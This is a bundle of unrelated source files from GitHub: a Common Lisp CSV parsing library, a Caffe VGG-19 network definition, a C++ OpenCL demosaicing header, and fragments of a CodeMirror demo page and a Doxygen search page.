* User@SHA ref: mojombo@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
* User/Project@SHA: mojombo/god@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
* \#Num: #1
* User/#Num: mojombo#1
* User/Project#Num: mojombo/god#1
See http://github.github.com/github-flavored-markdown/.
</textarea></form>
<p>Defines a mode that parses
a <a href="http://jekyllrb.com/docs/frontmatter/">YAML frontmatter</a>
at the start of a file, switching to a base mode at the end of that.
Takes a mode configuration option <code>base</code> to configure the
base mode, which defaults to <code>"gfm"</code>.</p>
<script>
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {mode: "yaml-frontmatter"});
</script>
</article>
|
{
"pile_set_name": "Github"
}
|
(eval-when (:compile-toplevel :load-toplevel :execute)
(require 'regexp2))
(defpackage :csv
(:use :common-lisp :iterate :parse-number)
(:export #:read-csv-file
#:read-csv-stream
#:write-csv-file
#:write-csv-stream
#:read-csv-file-and-sort))
(in-package :csv)
;;; helper function
(defun parse-number-no-error (string &optional default)
(let ((result
(ignore-errors
(parse-number:parse-number string))))
(if result
result
default)))
;;; cvs utilities
;;; TODO: extend parsing for quotes and linefeeds
(defparameter *csv-separator* #\,)
(defparameter *csv-quote* #\")
(defparameter *csv-print-quote-p* nil "print \" when the element is a string?")
(defparameter *csv-default-external-format* #+allegro :932 #-allegro :sjis)
(defun write-csv-line (record &key stream)
"Accept a record and print it in one line as a csv record.
A record is a sequence of element. A element can be of any type.
If record is nil, nothing will be printed.
If stream is nil (default case), it will return a string, otherwise it will return nil.
For efficiency reason, no intermediate string will be constructed. "
(let ((result
(with-output-to-string (s)
(let ((*standard-output* s)
(record-size (length record)))
(iter (for e in-sequence record)
(for i from 0)
(typecase e
(string (progn
(if *csv-print-quote-p*
(progn
(write-char *csv-quote*)
(write-string e)
(write-char *csv-quote*))
(write-string e))))
(t (princ e)))
(when (< i (1- record-size))
(write-char *csv-separator*)))))))
(format stream "~&~a" result)))
(defun write-csv-stream (stream table)
"Accept a stream and a table and output the table as csv form to the stream.
A table is a sequence of lines. A line is a sequence of elements.
Elements can be any types"
(iter (for l in-sequence table)
(write-csv-line l :stream stream))
(write-char #\newline stream)
'(ok))
(defun write-csv-file (filename table &key (external-format *csv-default-external-format*))
"Accept a filename and a table and output the table as csv form to the file.
A table is a sequence of lines. A line is a sequence of elements.
Elements can be any types"
(with-open-file (f filename :direction :output
:if-does-not-exist :create
:if-exists :supersede
:external-format external-format)
(write-csv-stream f table)))
(defun parse-csv-string (str) ;; refer RFC4180
(coerce
;; (regexp:split-re "," str)
(let ((q-count (count *csv-quote* str :test #'char-equal)))
(cond ((zerop q-count) (regexp:split-re *csv-separator* str))
((evenp q-count)
(macrolet ((push-f (fld flds) `(push (coerce (reverse ,fld) 'string) ,flds)))
(loop with state = :at-first ;; :at-first | :data-nq | :data-q | :q-in-nq | q-in-q
with field with fields
for chr of-type character across str
do (cond ((eq state :at-first)
(setf field nil)
(cond ((char-equal chr *csv-quote*) (setf state :data-q))
((char-equal chr *csv-separator*) (push "" fields))
(t (setf state :data-nq) (push chr field))))
((eq state :data-nq)
(cond ((char-equal chr *csv-quote*) (setf state :q-in-nq))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (push chr field))))
((eq state :q-in-nq)
(cond ((char-equal chr *csv-quote*) (error "#\" inside the non quoted field"))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (setf state :data-nq) (push chr field))))
((eq state :data-q)
(if (char-equal chr *csv-quote*) (setf state :q-in-q)
(push chr field)))
((eq state :q-in-q)
(cond ((char-equal chr *csv-quote*) (push chr field) (setf state :data-q))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (error "illegal value ( ~A ) after quotation" chr)))))
finally (return
(progn (push-f field fields) (reverse fields))))))
(t (error "odd number of \" ( ~A ) in a line." q-count))))
'vector))
(defun read-csv-line (stream &key type-conv-fns map-fns (start 0) end)
"Read one line from stream and return a csv record.
A CSV record is a vector of elements.
type-conv-fns should be a list of functions.
If type-conv-fns is nil (the default case), then all will be treated
as string.
map-fns is a list of functions of one argument and output one result.
each function in it will be applied to the parsed element.
If map-fns is nil, then nothing will be applied.
start and end specifies how many elements per record will be included.
If start or end is negative, it counts from the end. -1 is the last element.
"
(declare (type (or (simple-array function *) null) type-conv-fns map-fns))
(let* ((line (read-line stream nil nil)))
(when line
(let* ((strs (parse-csv-string line))
(strs-size (length strs)))
(when (< start 0)
(setf start (+ start strs-size)))
(when (and end (< end 0))
(setf end (+ end strs-size)))
(setf strs (subseq strs start end))
(when type-conv-fns
(unless (= (length strs) (length type-conv-fns))
(error "Number of type specifier (~a) does not match the number of elements (~a)."
(length strs) (length type-conv-fns))))
(when map-fns
(unless (= (length strs) (length map-fns))
(error "Number of mapping functions (~a) does not match the number of elements (~a)."
(length strs) (length map-fns))))
(let ((result strs))
;; strs is not needed so we simply overwrite it
(when type-conv-fns
(setf result
(map 'vector #'funcall type-conv-fns result)))
(when map-fns
(setf result
(map 'vector #'funcall map-fns result)))
result)))))
(defun read-csv-stream (stream &key (header t) type-spec map-fns (start 0) end)
"Read from stream until eof and return a csv table.
A csv table is a vector of csv records.
A csv record is a vector of elements.
Type spec should be a list of type specifier (symbols).
If the type specifier is nil or t, it will be treated as string.
If type-spec is nil (the default case), then all will be treated
as string.
map-fns is a list of functions of one argument and output one result.
each function in it will be applied to the parsed element.
If any function in the list is nil or t, it equals to #'identity.
If map-fns is nil, then nothing will be applied.
start and end specifies how many elements per record will be included.
If start or end is negative, it counts from the end. -1 is the last element.
"
(let ((type-conv-fns
(when type-spec
(macrolet ((make-num-specifier (specifier)
`(lambda (s) (let ((s (parse-number-no-error s s)))
(if (numberp s) (funcall ,specifier s) s)))))
(map 'vector
(lambda (type)
(ecase type
((t nil string) #'identity)
(number #'(lambda (s) (parse-number-no-error s s)))
(float (make-num-specifier #'float))
(single-float (make-num-specifier #'(lambda (s) (coerce s 'single-float))))
(double-float (make-num-specifier #'(lambda (s) (coerce s 'double-float))))
(integer (make-num-specifier #'round))
(pathname #'pathname)
(symbol #'intern)
(keyword (lambda (s) (intern s :keyword)))))
type-spec))))
(map-fns
(when map-fns
(map 'vector
(lambda (fn)
(cond ((or (eq fn t)
(eq fn nil))
#'identity)
((functionp fn)
fn)
((and (symbolp fn)
(not (keywordp fn)))
(symbol-function fn))
(t (error "~a is not a valid function specifier." fn))))
map-fns)))
(header
(when header
(read-csv-line stream))))
(loop for rec = (read-csv-line stream :type-conv-fns type-conv-fns :map-fns map-fns
:start start :end end)
while rec
collect rec into result
finally (return
(values
(coerce result 'vector)
header)))))
(defun read-csv-file (filename &key (header t) type-spec map-fns (external-format *csv-default-external-format*)
(os :anynl-dos) (start 0) end)
"Read from stream until eof and return a csv table.
A csv table is a vector of csv records.
A csv record is a vector of elements.
Type spec should be a list of type specifier (symbols).
If the type specifier is nil or t, it will be treated as string.
If type-spec is nil (the default case), then all will be treated
as string.
map-fns is a list of functions of one argument and output one result.
each function in it will be applied to the parsed element.
If any function in the list is nil or t, it equals to #'identity.
If map-fns is nil, then nothing will be applied.
external-format (default is shift-jis) is a valid AllegroCL external-format type.
OS is a set to eol-convention of the file stream.
start and end specifies how many elements per record will be included.
If start or end is negative, it counts from the end. -1 is the last element.
"
(with-open-file (f filename :external-format external-format)
#+allegro (setf (excl:eol-convention f) os)
(read-csv-stream f :type-spec type-spec :map-fns map-fns
:start start :end end
:header header)))
(defun read-csv-file-and-sort (filename sort-order &key (header t) (order :ascend) type-spec map-fns (external-format *csv-default-external-format*))
(let ((table (read-csv-file filename
:header header
:type-spec type-spec
:map-fns map-fns
:external-format external-format)))
(loop for i in (reverse sort-order)
do (setf table
(stable-sort table (ecase order (:ascend #'string<=) (:descend #'string>=))
:key (lambda (rec) (aref rec i))))
finally (return table))))
|
{
"pile_set_name": "Github"
}
|
1234
|
{
"pile_set_name": "Github"
}
|
name: "ris80_h2_VGG_ILSVRC_19_rgb2imNet"
input: "data"
input_dim: 10
input_dim: 3
input_dim: 224
input_dim: 224
layers {
bottom: "data"
top: "conv1_1"
name: "conv1_1"
type: CONVOLUTION
convolution_param {
num_output: 64
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv1_1"
top: "conv1_1"
name: "relu1_1"
type: RELU
}
layers {
bottom: "conv1_1"
top: "conv1_2"
name: "conv1_2"
type: CONVOLUTION
convolution_param {
num_output: 64
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv1_2"
top: "conv1_2"
name: "relu1_2"
type: RELU
}
layers {
bottom: "conv1_2"
top: "pool1"
name: "pool1"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool1"
top: "conv2_1"
name: "conv2_1"
type: CONVOLUTION
convolution_param {
num_output: 128
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv2_1"
top: "conv2_1"
name: "relu2_1"
type: RELU
}
layers {
bottom: "conv2_1"
top: "conv2_2"
name: "conv2_2"
type: CONVOLUTION
convolution_param {
num_output: 128
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv2_2"
top: "conv2_2"
name: "relu2_2"
type: RELU
}
layers {
bottom: "conv2_2"
top: "pool2"
name: "pool2"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool2"
top: "conv3_1"
name: "conv3_1"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_1"
top: "conv3_1"
name: "relu3_1"
type: RELU
}
layers {
bottom: "conv3_1"
top: "conv3_2"
name: "conv3_2"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_2"
top: "conv3_2"
name: "relu3_2"
type: RELU
}
layers {
bottom: "conv3_2"
top: "conv3_3"
name: "conv3_3"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_3"
top: "conv3_3"
name: "relu3_3"
type: RELU
}
layers {
bottom: "conv3_3"
top: "conv3_4"
name: "conv3_4"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_4"
top: "conv3_4"
name: "relu3_4"
type: RELU
}
layers {
bottom: "conv3_4"
top: "pool3"
name: "pool3"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool3"
top: "conv4_1"
name: "conv4_1"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_1"
top: "conv4_1"
name: "relu4_1"
type: RELU
}
layers {
bottom: "conv4_1"
top: "conv4_2"
name: "conv4_2"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_2"
top: "conv4_2"
name: "relu4_2"
type: RELU
}
layers {
bottom: "conv4_2"
top: "conv4_3"
name: "conv4_3"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_3"
top: "conv4_3"
name: "relu4_3"
type: RELU
}
layers {
bottom: "conv4_3"
top: "conv4_4"
name: "conv4_4"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_4"
top: "conv4_4"
name: "relu4_4"
type: RELU
}
layers {
bottom: "conv4_4"
top: "pool4"
name: "pool4"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool4"
top: "conv5_1"
name: "conv5_1"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_1"
top: "conv5_1"
name: "relu5_1"
type: RELU
}
layers {
bottom: "conv5_1"
top: "conv5_2"
name: "conv5_2"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_2"
top: "conv5_2"
name: "relu5_2"
type: RELU
}
layers {
bottom: "conv5_2"
top: "conv5_3"
name: "conv5_3"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_3"
top: "conv5_3"
name: "relu5_3"
type: RELU
}
layers {
bottom: "conv5_3"
top: "conv5_4"
name: "conv5_4"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_4"
top: "conv5_4"
name: "relu5_4"
type: RELU
}
layers {
bottom: "conv5_4"
top: "pool5"
name: "pool5"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool5"
top: "fc6"
name: "fc6"
type: INNER_PRODUCT
inner_product_param {
num_output: 4096
}
}
layers {
bottom: "fc6"
top: "fc6"
name: "relu6"
type: RELU
}
layers {
bottom: "fc6"
top: "fc6"
name: "drop6"
type: DROPOUT
dropout_param {
dropout_ratio: 0.5
}
}
layers {
bottom: "fc6"
top: "fc7"
name: "fc7"
type: INNER_PRODUCT
inner_product_param {
num_output: 4096
}
}
layers {
bottom: "fc7"
top: "fc7"
name: "relu7"
type: RELU
}
layers {
bottom: "fc7"
top: "fc7"
name: "drop7"
type: DROPOUT
dropout_param {
dropout_ratio: 0.5
}
}
layers {
name: "fc8_ris80h2ilsvrc12rgb2im"
type: INNER_PRODUCT
bottom: "fc7"
top: "fc8_ris80h2ilsvrc12rgb2im"
# blobs_lr is set to higher than for other layers, because this layer is starting from random while the others are already trained
blobs_lr: 10
blobs_lr: 20
weight_decay: 1
weight_decay: 0
inner_product_param {
num_output: 385
weight_filler {
type: "gaussian"
std: 0.01
}
bias_filler {
type: "constant"
value: 0
}
}
}
layers {
bottom: "fc8_ris80h2ilsvrc12rgb2im"
top: "prob"
name: "prob"
type: SOFTMAX
}
|
{
"pile_set_name": "Github"
}
|
#ifndef BILINEARPROCESSOROCL_H
#define BILINEARPROCESSOROCL_H
#include "IProcessorOCL.h"
class BilinearProcessorOCL : public IProcessorOCL
{
private:
void* _redChannel;
void* _greenChannel;
void* _blueChannel;
unsigned int _width;
unsigned int _height;
unsigned long _size;
cl::Kernel* _kernels;
cl::NDRange _globalSizes;
cl::NDRange _localSizes;
cl::NDRange _verticalSize;
cl::NDRange _horizontalSize;
cl::NDRange _greenOffsets;
cl::NDRange _greenSizes;
// Varies accordingly to pattern.
cl::NDRange _redOffsets, _redVerticalOffsets, _redHorizontalOffsets;
cl::NDRange _blueOffsets, _blueVerticalOffsets, _blueHorizontalOffsets;
cl::Buffer _redBuffer;
cl::Buffer _greenBuffer;
cl::Buffer _blueBuffer;
public:
virtual std::string GetKernelFilePath() override;
virtual void GetArguments(cl::Context& context, OC::Image::OCImage& image, cl::Kernel kernels[6]) override;
void GetKernelsStrings(OC::Image::BayerPattern pattern, std::string kernelsStrings[6]) override;
void Process(cl::CommandQueue& queue) override;
void* GetRedChannel() override;
void* GetGreenChannel() override;
void* GetBlueChannel() override;
};
#endif // BILINEARPROCESSOROCL_H
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta name="generator" content="Doxygen 1.8.3.1">
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="pages_6c.js"></script>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div id="SRResults"></div>
<script type="text/javascript"><!--
createResults();
--></script>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
--></script>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.